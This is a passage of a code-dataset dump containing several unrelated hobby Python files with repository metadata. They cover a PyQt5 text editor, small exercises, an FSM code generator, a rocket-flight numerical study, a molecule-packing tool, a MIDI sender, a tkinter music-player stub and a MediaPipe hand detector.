[('en','it'),('en','fr'),('en','de'),('en','ko'),('en','ja'),]\nlist_languages = [('en','it'),('en','fr'),]\n\nTranslator.bulk_generate_vocabularies(TRANSLATION_DIR, INDEX, src_dest=list_languages)\n","repo_name":"kinderp/3183","sub_path":"examples/vocabularies_generator.py","file_name":"vocabularies_generator.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6044356521","text":"import sys\nimport time\nfrom PyQt5.QtWidgets import QMainWindow, QAction, qApp, QApplication, QPlainTextEdit, QWidget, QFileDialog\nfrom PyQt5.QtCore import QObject, pyqtSignal\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom lineText import LineTextWidget\n\n# <a href=\"https://es.icons8.com/web-app/13120/Prismáticos\">Prismáticos créditos de icono</a>\n# <a href=\"https://es.icons8.com/web-app/11949/Cortar\">Cortar créditos de icono</a>\n\nclass LineNumberArea(QWidget):\n\n\tdef __init__(self, editor):\n\t\tsuper().__init__(editor)\n\t\tself.myeditor = editor\n\n\n\tdef sizeHint(self):\n\t\treturn Qsize(self.editor.lineNumberAreaWidth(), 0)\n\n\n\tdef paintEvent(self, event):\n\t\tself.myeditor.lineNumberAreaPaintEvent(event)\n\n# ------ Code editor ---------------------------\n\nclass FridaCodeEditor(QPlainTextEdit):\n\t\"\"\"docstring for FridaCodeEditor\"\"\"\n\n\torigin = pyqtSignal()\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.lineNumberArea = LineNumberArea(self)\n\n\t\tself.origin.connect(self.updateLineNumberAreaWidth)\n\t\tself.origin.connect(self.updateLineNumberArea)\n\t\tself.origin.connect(self.highlightCurrentLine)\n\n\t\tself.updateLineNumberAreaWidth(0)\n\n\tdef lineNumberAreaWidth(self):\n\t\tdigits = 1\n\t\tcount = max(1, self.blockCount())\n\t\twhile count >= 10:\n\t\t\tcount /= 10\n\t\t\tdigits += 1\n\t\tspace = 3 + self.fontMetrics().width('9') * digits\n\t\treturn space\n\n\n\tdef updateLineNumberAreaWidth(self, _):\n\t\tself.setViewportMargins(self.lineNumberAreaWidth(), 0, 0, 0)\n\n\n\tdef updateLineNumberArea(self, rect, dy):\n\n\t\tif dy:\n\t\t\tself.lineNumberArea.scroll(0, dy)\n\t\telse:\n\t\t\tself.lineNumberArea.update(0, rect.y(), self.lineNumberArea.width(),\n\t\t\t\t\t rect.height())\n\n\t\tif rect.contains(self.viewport().rect()):\n\t\t\tself.updateLineNumberAreaWidth(0)\n\n\n\tdef resizeEvent(self, event):\n\t\tsuper().resizeEvent(event)\n\n\t\tcr = self.contentsRect();\n\t\tself.lineNumberArea.setGeometry(QRect(cr.left(), cr.top(),\n\t\t\t\t\tself.lineNumberAreaWidth(), cr.height()))\n\n\n\tdef lineNumberAreaPaintEvent(self, event):\n\t\tmypainter = QPainter(self.lineNumberArea)\n\n\t\tmypainter.fillRect(event.rect(), Qt.lightGray)\n\n\t\tblock = self.firstVisibleBlock()\n\t\tblockNumber = block.blockNumber()\n\t\ttop = self.blockBoundingGeometry(block).translated(self.contentOffset()).top()\n\t\tbottom = top + self.blockBoundingRect(block).height()\n\n\t\tprint(top)\n\t\tprint(\"somthing\")\n\n\t\t# Just to make sure I use the right font\n\t\theight = self.fontMetrics().height()\n\t\twhile block.isValid() and (top <= event.rect().bottom()):\n\t\t\tif block.isVisible() and (bottom >= event.rect().top()):\n\t\t\t\tnumber = str(blockNumber + 1)\n\t\t\t\tmypainter.setPen(Qt.black)\n\t\t\t\tmypainter.drawText(0, top, self.lineNumberArea.width(), height,\n\t\t\t\t Qt.AlignRight, number)\n\n\t\t\tblock = block.next()\n\t\t\ttop = bottom\n\t\t\tbottom = top + self.blockBoundingRect(block).height()\n\t\t\tblockNumber += 1\n\n\n\tdef highlightCurrentLine(self):\n\t\textraSelections = []\n\n\t\tif not self.isReadOnly():\n\t\t\tselection = QTextEdit.ExtraSelection()\n\n\t\t\tlineColor = QColor(Qt.yellow).lighter(160)\n\n\t\t\tselection.format.setBackground(lineColor)\n\t\t\tselection.format.setProperty(QTextFormat.FullWidthSelection, True)\n\t\t\tselection.cursor = self.textCursor()\n\t\t\tselection.cursor.clearSelection()\n\t\t\textraSelections.append(selection)\n\t\tself.setExtraSelections(extraSelections)\n\t\t\t \n\t\t\t \n\t\n\tdef Dedent(self):\n\t\ttab = \"\\t\"\n\t\tcursor = self.text.textCursor()\n\t\n\t\tstart = cursor.selectionStart()\n\t\tend = cursor.selectionEnd()\n\t\n\t\tcursor.setPosition(end)\n\t\tcursor.movePosition(cursor.EndOfLine)\n\t\tend = cursor.position()\n\t\n\t\tcursor.setPosition(start)\n\t\tcursor.movePosition(cursor.StartOfLine)\n\t\tstart = cursor.position()\n\t\n\t\n\t\twhile cursor.position() < end:\n\t\t\tglobal var\n\t\t\t \n\t\t\tcursor.movePosition(cursor.StartOfLine)\n\t\t\tcursor.deleteChar()\n\t\t\tcursor.movePosition(cursor.EndOfLine)\n\t\t\tcursor.movePosition(cursor.Down)\n\t\t\tend -= len(tab)\n\t\n\t\t\t'''if cursor.position() == end:\n\t\t\t\tvar +=1\n\t\n\t\t\tif var == 2:\n\t\t\t\tbreak'''\n\t\n\tdef BulletList(self):\n\t\tprint(\"bullet connects!\")\n\t\tself.text.insertHtml(\"<ul><li> ...</li></ul>\")\n\t\n\tdef NumberedList(self):\n\t\tprint(\"numbered connects!\")\n\t\tself.text.insertHtml(\"<ol><li> ...</li></ol>\")\n\n\n\n# ---------------- Main Window -----------------------\n\nclass FridaMainWindow(QMainWindow):\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\tself.initUI()\n\n\tdef initUI(self):\n\n\t\texitAction = QAction(QIcon('exit.png'), '&Salir', self)\n\t\texitAction.setShortcut('Ctrl+Q')\n\t\texitAction.setStatusTip('Salir de la aplicación')\n\t\texitAction.triggered.connect(qApp.quit)\n\n\t\tnewAction = QAction(QIcon(\"icons/new.png\"),\"Nuevo\",self)\n\t\tnewAction.setShortcut(\"Ctrl+N\")\n\t\tnewAction.setStatusTip(\"Crea un documento en blanco\")\n\t\tnewAction.triggered.connect(self.New)\n\t\t\n\t\topenAction = QAction(QIcon(\"icons/open.png\"),\"Abrir\",self)\n\t\topenAction.setStatusTip(\"Abrir un documento existente\")\n\t\topenAction.setShortcut(\"Ctrl+O\")\n\t\topenAction.triggered.connect(self.Open)\n\t\t\n\t\tsaveAction = QAction(QIcon(\"icons/save.png\"),\"Guardar\",self)\n\t\tsaveAction.setStatusTip(\"Guardar documento\")\n\t\tsaveAction.setShortcut(\"Ctrl+S\")\n\t\tsaveAction.triggered.connect(self.Save)\n\t\t\n\t\tfindAction = QAction(QIcon(\"icons/find.png\"),\"Buscar\",self)\n\t\tfindAction.setStatusTip(\"Busca palabras en tu documento\")\n\t\tfindAction.setShortcut(\"Ctrl+F\")\n\t\tfindAction.triggered.connect(self.Find)\n\t\t\n\t\tcutAction = QAction(QIcon(\"icons/cut.png\"),\"Cortar\",self)\n\t\tcutAction.setStatusTip(\"Borra y copia texto al clipboard\")\n\t\tcutAction.setShortcut(\"Ctrl+X\")\n\t\tcutAction.triggered.connect(self.Cut)\n\t\t\n\t\tcopyAction = QAction(QIcon(\"icons/copy.png\"),\"Copiar\",self)\n\t\tcopyAction.setStatusTip(\"Copiar texto al clipboard\")\n\t\tcopyAction.setShortcut(\"Ctrl+C\")\n\t\tcopyAction.triggered.connect(self.Copy)\n\t\t\n\t\tpasteAction = QAction(QIcon(\"icons/paste.png\"),\"Pegar\",self)\n\t\tpasteAction.setStatusTip(\"Pega texto del clipboard\")\n\t\tpasteAction.setShortcut(\"Ctrl+V\")\n\t\tpasteAction.triggered.connect(self.Paste)\n\t\t\n\t\tundoAction = QAction(QIcon(\"icons/undo.png\"),\"Deshacer\",self)\n\t\tundoAction.setStatusTip(\"Deshacer la última acción\")\n\t\tundoAction.setShortcut(\"Ctrl+Z\")\n\t\tundoAction.triggered.connect(self.Undo)\n\t\t\n\t\tredoAction = QAction(QIcon(\"icons/redo.png\"),\"Rehacer\",self)\n\t\tredoAction.setStatusTip(\"Rehacer la última acción hecha\")\n\t\tredoAction.setShortcut(\"Ctrl+Y\")\n\t\tredoAction.triggered.connect(self.Redo)\n\t\t\n\t\tprintAction = QAction(QIcon(\"icons/print.png\"),\"Imprimir\",self)\n\t\tprintAction.setStatusTip(\"Imprimir documento\")\n\t\tprintAction.setShortcut(\"Ctrl+P\")\n\t\tprintAction.triggered.connect(self.Print)\n\n\t\tself.toolbar = self.addToolBar(\"Opciones\")\n\t\tself.toolbar.addAction(newAction)\n\t\tself.toolbar.addAction(openAction)\n\t\tself.toolbar.addAction(saveAction)\n\t\tself.toolbar.addSeparator()\n\t\tself.toolbar.addAction(printAction)\n\t\tself.toolbar.addSeparator()\n\t\tself.toolbar.addAction(findAction)\n\t\tself.toolbar.addAction(cutAction)\n\t\tself.toolbar.addAction(copyAction)\n\t\tself.toolbar.addAction(pasteAction)\n\t\tself.toolbar.addAction(undoAction)\n\t\tself.toolbar.addAction(redoAction)\n\t\tself.toolbar.addSeparator()\n\n\t\tself.addToolBarBreak()\n\n\t\tself.statusBar()\n\n\t\tmenubar = self.menuBar()\n\t\tfileMenu = menubar.addMenu('&Archivo')\n\t\tfileMenu.addAction(exitAction)\n\n\t\tself.setGeometry(300, 300, 300, 200)\n\t\tself.setWindowTitle('Frida')\n\t\tself.showMaximized()\n\n#------- Text Edit ----------------------------------- \n\n\t\tself.text = LineTextWidget()\n\t\tself.text.getTextEdit().setTabStopWidth(12)\n\t\tself.setCentralWidget(self.text)\n\n#-------- Toolbar slots -----------------------------------\n\n\tdef New(self):\n\t\tself.text.getTextEdit().clear()\n \n\tdef Open(self):\n\t\tfilename = QFileDialog.getOpenFileName(self, 'Open File')\n\t\tf = open(filename, 'r')\n\t\tfiledata = f.read()\n\t\tself.text.getTextEdit().setText(filedata)\n\t\tf.close()\n \n\tdef Save(self):\n\t\tfilename = QFileDialog.getSaveFileName(self, 'Save File')\n\t\tf = open(filename, 'w')\n\t\tfiledata = self.text.getTextEdit().toPlainText()\n\t\tf.write(filedata)\n\t\tf.close()\n \n\tdef Print(self):\n\t\tdialog = QPrintDialog()\n\t\tif dialog.exec_() == QDialog.Accepted:\n\t\t\tself.text.getTextEdit().document().print_(dialog.printer())\n \n\tdef Find(self):\n\t\tglobal f\n\t\t \n\t\tfind = Find(self)\n\t\tfind.show()\n \n\t\tdef handleFind():\n \n\t\t\tf = find.te.toPlainText()\n\t\t\tprint(f)\n\t\t\t \n\t\t\tif cs == True and wwo == False:\n\t\t\t\tflag = QTextDocument.FindBackward and QTextDocument.FindCaseSensitively\n\t\t\t\t \n\t\t\telif cs == False and wwo == False:\n\t\t\t\tflag = QTextDocument.FindBackward\n\t\t\t\t \n\t\t\telif cs == False and wwo == True:\n\t\t\t\tflag = QTextDocument.FindBackward and QTextDocument.FindWholeWords\n\t\t\t\t \n\t\t\telif cs == True and wwo == True:\n\t\t\t\tflag = QTextDocument.FindBackward and QTextDocument.FindCaseSensitively and QTextDocument.FindWholeWords\n\t\t\t \n\t\t\tself.text.getTextEdit().find(f,flag)\n \n\t\tdef handleReplace():\n\t\t\tf = find.te.toPlainText()\n\t\t\tr = find.rp.toPlainText()\n \n\t\t\ttext = self.text.getTextEdit().toPlainText()\n\t\t\t \n\t\t\tnewText = text.getTextEdit().replace(f,r)\n \n\t\t\tself.text.getTextEdit().clear()\n\t\t\tself.text.getTextEdit().append(newText)\n\t\t \n\t\tfind.src.clicked.connect(handleFind)\n\t\tfind.rpb.clicked.connect(handleReplace)\n \n \n\tdef Undo(self):\n\t\tself.text.getTextEdit().undo()\n \n\tdef Redo(self):\n\t\tself.text.getTextEdit().redo()\n \n\tdef Cut(self):\n\t\tself.text.getTextEdit().cut()\n \n\tdef Copy(self):\n\t\tself.text.getTextEdit().copy()\n \n\tdef Paste(self):\n\t\tself.text.getTextEdit().paste()\n \n\tdef DateTime(self):\n \n\t\tdate = Date(self)\n\t\tdate.show()\n \n\t\tdate.ok.clicked.connect(self.insertDate)\n \n\tdef insertDate(self):\n\t\tglobal choiceStr\n\t\tprint(choiceStr)\n\t\tself.text.getTextEdit().append(choiceStr)\n\t\t \n\tdef CursorPosition(self):\n\t\tline = self.text.getTextEdit().textCursor().blockNumber()\n\t\tcol = self.text.getTextEdit().textCursor().columnNumber()\n\t\tlinecol = (\"Line: \"+str(line)+\" | \"+\"Column: \"+str(col))\n\t\tself.status.showMessage(linecol)\n \n\tdef FontFamily(self,font):\n\t\tfont = QFont(self.fontFamily.currentFont())\n\t\tself.text.getTextEdit().setCurrentFont(font)\n \n\tdef FontSize(self, fsize):\n\t\tsize = (int(fsize))\n\t\tself.text.getTextEdit().setFontPointSize(size)\n \n\tdef FontColor(self):\n\t\tc = QColorDialog.getColor()\n \n\t\tself.text.getTextEdit().setTextColor(c)\n\t\t \n\tdef FontBackColor(self):\n\t\tc = QColorDialog.getColor()\n \n\t\tself.text.getTextEdit().setTextBackgroundColor(c)\n\t\t\t \n\tdef lThrough(self):\n\t\tlt = QFont.style()\n \n\tdef Indent(self):\n\t\ttab = \"\\t\"\n\t\tcursor = self.text.getTextEdit().textCursor()\n \n\t\tstart = cursor.selectionStart()\n\t\tend = cursor.selectionEnd()\n \n\t\tcursor.setPosition(end)\n\t\tcursor.movePosition(cursor.EndOfLine)\n\t\tend = cursor.position()\n \n\t\tcursor.setPosition(start)\n\t\tcursor.movePosition(cursor.StartOfLine)\n\t\tstart = cursor.position()\n \n \n\t\twhile cursor.position() < end:\n\t\t\tglobal var\n \n\t\t\tprint(cursor.position(),end)\n\t\t\t \n\t\t\tcursor.movePosition(cursor.StartOfLine)\n\t\t\tcursor.insertText(tab)\n\t\t\tcursor.movePosition(cursor.Down)\n\t\t\tend += len(tab)\n \n\t\t\t'''if cursor.position() == end:\n\t\t\t\tvar +=1\n \n\t\t\tif var == 2:\n\t\t\t\tbreak'''\n\t\n\n# def window():\n# \tapp = QApplication(sys.argv)\n\n# \tw = QWidget()\n# \t# b = QLabel(w)\n# \t# b.setText(\"Hello World!\")\n# \tw.setGeometry(100, 100, 200, 50)\n# \t# b.move(50, 20)\n# \tw.setWindowTitle(\"Frida\")\n# \tw.show()\n# \tsys.exit(app.exec())\n\nif __name__ == '__main__':\n\tapp = QApplication(sys.argv)\n\tex = FridaMainWindow()\n\tsys.exit(app.exec_())","repo_name":"Alejandro-Valdes/Frida","sub_path":"Gui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":11153,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"39507074145","text":"from random import sample\n\ndef listRand(count: int, alp: str = \"абв\"):\n Wlist=[]\n for i in range(count):\n let = sample(alp, 3)\n Wlist.append(\"\".join(let))\n return \" \".join(Wlist)\n\ndef sentence(words: str) -> str:\n # return \" \".join(i for i in words.split()if i != \"абв\")\n return \" \".join(words.replace(\"абв\", \"\").split())\nall_list = listRand(int(input(\"Введите значение: \")))\nprint(all_list)\nprint(sentence(all_list))","repo_name":"Desmontego/Python-","sub_path":"Home work 5/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72933152541","text":"names = {}\ni = 0\ndef nmss():\n\t\"\"\"Prints current poll\"\"\"\n\tprint(\"\\n\")\n\tfor key, value in names.items():\n\t\tprint(f\"\\t|{key}| ---> |{value}\")\nwhile(1):\n\tnmss()\n\tprint(f\"\\n[add] or [remove]\\n\")\n\tpok1 = False\n\tpok2 = False\n\tinput1 = input(\"$\\t# - > \")\n\tif(input1 == \"add\"):\n\t\tpok1 = True\n\tif(input1 == \"remove\"):\n\t\tpok2 = True\n\tif(pok1):\n\t\ti += 1\n\t\tslot = f\"name{i}\"\n\t\tprint(\"\\n\\tWhat is your name\\n\")\n\t\tmessage = input(\"$\\t# - > \")\n\t\tnames[slot] = message\n\t\tprint(f\"Added {message} to list...\")\n\tif(pok2):\n\t\tnmss()\n\t\tprint(f\"\\nRemove name ?\\n\")\n\t\tmessage = input(\"$\\t# - > \")\n\t\tnames.pop(message)\n\t\tprint(f\"attempted to remove {message}\")\n\n\n\n\n","repo_name":"BinaryBuffalo/Python_Experience","sub_path":"11_CHAPTER/names3.py","file_name":"names3.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"20506509318","text":"#\n# usage: python k04.py\n#\n\nses = 'H B C N O F P S K V Y I U'.split()\ndes = '''\\\nHe Li Be Ne Na Mg Al Si Cl Ar Ca Sc Ti Cr Mn Fe Co Ni Cu Zn\nGa Ge As Se Br Kr Rb Sr Zr Nb Mo Tc Ru Rh Pd Ag Cd In Sn Sb\nTe Xe Cs Ba La Ce Pr Nd Pm Sm Eu Gd Tb Dy Ho Er Tm Yb Lu Hf\nTa Re Os Ir Pt Au Hg Tl Pb Bi Po At Rn Fr Ra Ac Th Pa Np Pu\nAm Cm Bk Cf Es Fm Md No Lr\n'''.split()\n\ndef elements(s):\n wl, wd = [''.join([c for c in w if c.isalnum()]) for w in s.split()], {}\n for i in range(len(wl)):\n if wl[i][:2] in des:\n wd[wl[i]] = wl[i][:2]\n elif wl[i][0] in ses:\n wd[wl[i]] = wl[i][0]\n return wd\n\nif __name__ == '__main__':\n s = '''\\\n Hi He Lied Because Boron Could Not Oxidize Fluorine.\n New Nations Might Also Sign Peace Security Clause. Arthur King Can.\n '''\n\n print(elements(s))\n","repo_name":"wtsnjp/nlp100","sub_path":"chap01/k04.py","file_name":"k04.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"5224899007","text":"from FSMConfig import FSMConfig\r\nfrom CodegenUtils import indent\r\n\r\nclass StateCodegen:\r\n\r\n def __init__(self, parent):\r\n self.parent = parent\r\n\r\n def getEnumMember(self):\r\n return self.parent.name.upper()\r\n\r\n def getFullIdentifier(self):\r\n return \"STATE.\" + self.getEnumMember()\r\n\r\n def getEnumDeclaration(self):\r\n return indent(2) + self.getEnumMember() + \",\\n\"\r\n\r\n def getStateOutputAction(self):\r\n retStr = \"\"\r\n retStr += indent(3) + \"case \" + self.getEnumMember() + \":\\n\"\r\n for action in self.parent.actions:\r\n retStr += indent(4) + action.cg.getCode()\r\n \r\n retStr += indent(4) + \"break;\\n\"\r\n return retStr\r\n\r\n def getNextStateCase(self):\r\n gc = FSMConfig()\r\n retStr = \"\"\r\n retStr += indent(3) + \"case \" + self.getEnumMember() + \":\\n\"\r\n\r\n exitingTransitions = [x for x in gc.allTransitions.values() if x.fromStateID == self.parent.id]\r\n exitingTransitions.sort(key=lambda x: x.priority)\r\n for trans in exitingTransitions:\r\n retStr += indent(4) + \"if(\" + trans.cg.getCondition() + \"){\\n\"\r\n retStr += indent(5) + \"// Take transition \" + str(trans.id) + \"\\n\"\r\n for action in trans.actions:\r\n retStr += indent(5) + action.cg.getCode()\r\n retStr += indent(5) + trans.cg.getCurStateUpdate() + \"\\n\"\r\n retStr += indent(5) + \"break;\\n\"\r\n retStr += indent(4) + \"}\\n\\n\"\r\n\r\n retStr += indent(3) + \"break;\\n\\n\"\r\n return retStr","repo_name":"gerth2/FSMMaker","sub_path":"StateCodegen.py","file_name":"StateCodegen.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26077114646","text":"import numpy \nfrom matplotlib import pyplot\nfrom math import sin, cos, log, ceil\n\ndt_values = numpy.array([0.1, 0.05, 0.01, 0.005, 0.001, 0.0001])\n# array that will contain solution of each grid\nu_values = numpy.empty_like(dt_values, dtype=numpy.ndarray)\n\nfor i, dt in enumerate(dt_values):\n mp0 = 100\n T = 40\n N = int(T/dt)+1\n v0 = 0.0\n h0 = 0.0\n mdotp0 = 20.0\n g = 9.8\n ms = 50\n rho = 1.091\n A = numpy.pi*0.5**2\n ve = 325\n cd = 0.15\n\n u = numpy.empty((N, 2))\n u[0] = numpy.array([h0,v0])\n\n def f(u,mp,mdotp):\n v = u[1] \n return numpy.array([v, (-g+ ((mdotp*ve)/(ms+mp)) - ((0.50*rho*v*numpy.abs(v)*A*cd)/(ms+mp)))])\n\n def rkutta(u,dt,f,mp,mdotp):\n u_star = u + 0.5*dt*f(u,mp,mdotp) #midpoint method\n return u + dt * f(u_star,mp,mdotp)\n\n for n in range (0,N-1):\n if n < (5+dt)/dt:\n mdotp = 20\n mp = mp0 - 20*n*dt\n else:\n mp = 0\n mdotp = 0\n u[n+1] = rkutta(u[n],dt,f,mp,mdotp)\n \n u_values[i] = u\n\n#for n in range (0,N-1):\n #print (\"H = %.4f, V = %.4f, Time = %.4f\" %(H[n],V[n],n*dt)) \n \ndef get_diffgrid(u_current, u_fine, dt):\n \"\"\"Returns the difference between one grid and the fine one using L-1 norm.\n \n Parameters\n ----------\n u_current : array of float\n solution on the current grid.\n u_finest : array of float\n solution on the fine grid.\n dt : float\n time-increment on the current grid.\n \n Returns\n -------\n diffgrid : float\n difference computed in the L-1 norm.\n \"\"\"\n \n N_current = len(u_current[:,0])\n N_fine = len(u_fine[:,0])\n \n grid_size_ratio = ceil(N_fine/N_current)\n \n diffgrid = dt * numpy.sum( numpy.abs(\\\n u_current[:,1]- u_fine[::grid_size_ratio,1])) \n \n return diffgrid\n\ndiffgrid = numpy.empty_like(dt_values)\n\nfor i, dt in enumerate(dt_values):\n print('dt = {}'.format(dt))\n\n ### call the function get_diffgrid() ###\n diffgrid[i] = get_diffgrid(u_values[i], u_values[-1], dt)\n\n# log-log plot of the grid differences\npyplot.figure(figsize=(6,6))\npyplot.grid(True)\npyplot.xlabel('$\\Delta t$', fontsize=18)\npyplot.ylabel('$L_1$-norm of the grid differences', fontsize=18)\npyplot.axis('equal')\npyplot.loglog(dt_values[:-1], diffgrid[:-1], color='k', ls='-', lw=2, marker='o')\npyplot.show();\n \n","repo_name":"Sathyan64/mooc_python","sub_path":"rocket_flight_error.py","file_name":"rocket_flight_error.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17512630774","text":"import click\n\nfrom pyBrown_tools.input_Pack import InputDataPack\nfrom pyBrown_tools.grid import pack_molecules\nfrom pyBrown_tools.write import write_structure\nfrom pyBrown_tools.parse import parse_input_filename\nfrom pyBrown_tools.messaging import timestamp\n\n#-------------------------------------------------------------------------------\n\n@click.command()\n@click.argument('input_filename',\n\t\t\t\ttype = click.Path( exists = True ))\ndef main(input_filename):\n\n\t# here the list of keywords that are required for program to work is provided\n\trequired_keywords = [\"packing_mode\", \"box_size\", \"hydrodynamic_radii\",\n\t\t\t\t\t\t \"lennard-jones_radii\", \"lennard-jones_energies\",\n\t\t\t\t\t\t \"charges\", \"masses\", \"bond_force_constants\",\n\t\t\t\t\t\t \"angle_force_constants\", \"numbers_of_molecules\",\n\t\t\t\t\t\t \"labels_of_molecules\", \"output_structure_filename\"]\n\n\t# here the dict of keywords:default values is provided\n\t# if given keyword is absent in JSON, it is added with respective default value\n\tdefaults = {\"minimal_distance_between_surfaces\":0.0, \"max_bond_lengths\":2.5e+07,\n\t\t\t\t\"bond_lengths\":'hydrodynamic_radii', \"number_of_structures\":1,\n\t\t\t\t\"float_type\": 32}\n\n\ttimestamp( 'Reading input from {} file', input_filename )\n\ti = InputDataPack(input_filename, required_keywords, defaults)\n\ttimestamp( 'Input data:\\n{}', i )\n\n\tfor file_count in range(1, i.input_data[\"number_of_structures\"] + 1):\n\n\t\tcoords = pack_molecules(i.input_data)\n\n\t\toutput_structure_filename = i.input_data[\"output_structure_filename\"].split('.')[0] +\\\n\t\t\t\t\t\t\t\t\t'_{}.'.format(file_count) +\\\n\t\t\t\t\t\t\t\t\ti.input_data[\"output_structure_filename\"].split('.')[1]\n\n\t\twrite_structure(i.input_data, coords, output_structure_filename)\n\n#-------------------------------------------------------------------------------\n\nif __name__ == '__main__':\n\n\tmain()\n","repo_name":"tskora/pyBrown-tools","sub_path":"Pack.py","file_name":"Pack.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"9122189910","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jul 20 14:12:11 2023\r\n\r\n@author: danic\r\n\"\"\"\r\n\r\nimport rtmidi\r\nfrom rtmidi.midiconstants import (CONTROL_CHANGE)\r\n\r\nmidiout = rtmidi.MidiOut()\r\nmidiout.open_port(1)\r\n\r\n#ctrl+M in ableton and select your parameter, then set to unused midi channel and any CC_num here, then run this script, then ctrl+M again\r\n\r\nCHANNEL = 3\r\nCC_NUM = 76\r\n\r\nmodCC = ([CONTROL_CHANGE | CHANNEL, CC_NUM, 127])\r\nmidiout.send_message(modCC)","repo_name":"mason-u-borchard/trueRNG-ableton-ionosphere","sub_path":"InitCC.py","file_name":"InitCC.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6311145346","text":"import tkinter as tk\r\nimport fnmatch\r\nimport os\r\nfrom pygame import mixer\r\n\r\ncanvas=tk.Tk\r\nlistBox.insert('end',\"tracks\\hi.mp3\")\r\n();\r\ncanvas.title(\"music player\")\r\ncanvas.geometry(\"600x800\")\r\ncanvas.config(bg='black')\r\n\r\nmusicPath=\"tracks\"\r\next=\"*.mp3\"\r\n\r\nlistBox=tk.Listbox(canvas,fg=\"cyan\",font=('poppins',14),bg=\"black\",width=100)\r\nlistBox.pack(padx=15,pady=15)\r\n\r\n\r\ncanvas.mainloop()","repo_name":"sondos-ui/music-streaming-app","sub_path":"module2.py","file_name":"module2.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3991838051","text":"# https://atcoder.jp/contests/abc057/tasks/abc057_c\r\n\r\nimport math\r\nN = int(input())\r\nnum = int(N**0.5)\r\nflg = True\r\nwhile flg:\r\n if N % num == 0:\r\n ans = int(math.log10(N//num)) + 1\r\n flg = False\r\n else:\r\n num -= 1\r\nprint(ans)\r\n","repo_name":"Hironobu-Kawaguchi/atcoder","sub_path":"atcoder/abc057_c.py","file_name":"abc057_c.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9297747378","text":"# Empacotamento e desempacotamento de dicionário\na, b = 1, 2\na, b = b, a\n# print(a, b)\n\npessoa = {\n 'nome': 'Aline',\n 'sobrenome': 'Souza',\n}\ndados_pessoa = {\n 'idade': 16,\n 'altura': 1.6,\n}\n\npessoa_completa = {**pessoa, **dados_pessoa}\n# print(pessoa_completa)\n\n# a, b = pessoa\n# print(a, b)\n# a, b = pessoa.values()\n# print(a, b)\n# a, b = pessoa.items()\n# print(a, b)\n\n# for chave, valor in pessoa.items():\n# print(chave, valor)\n\n# args e kwargs\n# args (já vimos)\n# kwargs - keywoed arguments (argumentos nomeados)\n\ndef mostro_argumentos_momeados(*args, **kwargs):\n print('NÃO NOMEADOS:', args)\n\n for chave, valor in kwargs.items():\n print(chave, valor)\n\n# mostro_argumentos_momeados(nome='Joana', qlq=123)\n# mostro_argumentos_momeados(**pessoa_completa)\n\nconfiguracoes = {\n 'arg1': 1,\n 'arg2': 2,\n 'arg3': 3,\n 'arg4': 4,\n}\n\nmostro_argumentos_momeados(**configuracoes)\n","repo_name":"apschisky/Curso_Python","sub_path":"intermediario_funcoes_dicio_modulos/aula83_empacot_desempacot_dict.py","file_name":"aula83_empacot_desempacot_dict.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"32882365471","text":"import cv2\nimport mediapipe as mp\nimport time\nimport math\n\n\n\n\nclass handDetector():\n def __init__(self, mode=False, maxHands=2, detectionCon=0.5, trackCon=0.5):\n self.mode = mode\n self.maxHands = maxHands\n self.detectionCon = detectionCon\n self.trackCon = trackCon\n\n self.mpHands = mp.solutions.hands\n self.hands = self.mpHands.Hands(self.mode, self.maxHands,\n self.detectionCon, self.trackCon)\n self.mpDraw = mp.solutions.drawing_utils\n self.tipIds = [4, 8, 12, 16, 20]\n\n def findHands(self, frame, draw=True):\n imgRGB = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n self.results = self.hands.process(imgRGB)\n # print(results.multi_hand_landmarks)\n\n if self.results.multi_hand_landmarks:\n for handLms in self.results.multi_hand_landmarks:\n if draw:\n self.mpDraw.draw_landmarks(frame, handLms,\n self.mpHands.HAND_CONNECTIONS)\n\n return frame\n\n def findPosition(self, frame, handNo=0, draw=True):\n xList = []\n yList = []\n bbox = []\n self.lmList = []\n if self.results.multi_hand_landmarks:\n myHand = self.results.multi_hand_landmarks[handNo]\n for id, lm in enumerate(myHand.landmark):\n # print(id, lm)\n h, w, c = frame.shape\n cx, cy = int(lm.x * w), int(lm.y * h)\n xList.append(cx)\n yList.append(cy)\n # print(id, cx, cy)\n self.lmList.append([id, cx, cy])\n if draw:\n cv2.circle(frame, (cx, cy), 5, (255, 0, 255), cv2.FILLED)\n\n xmin, xmax = min(xList), max(xList)\n ymin, ymax = min(yList), max(yList)\n bbox = xmin, ymin, xmax, ymax\n\n if draw:\n cv2.rectangle(frame, 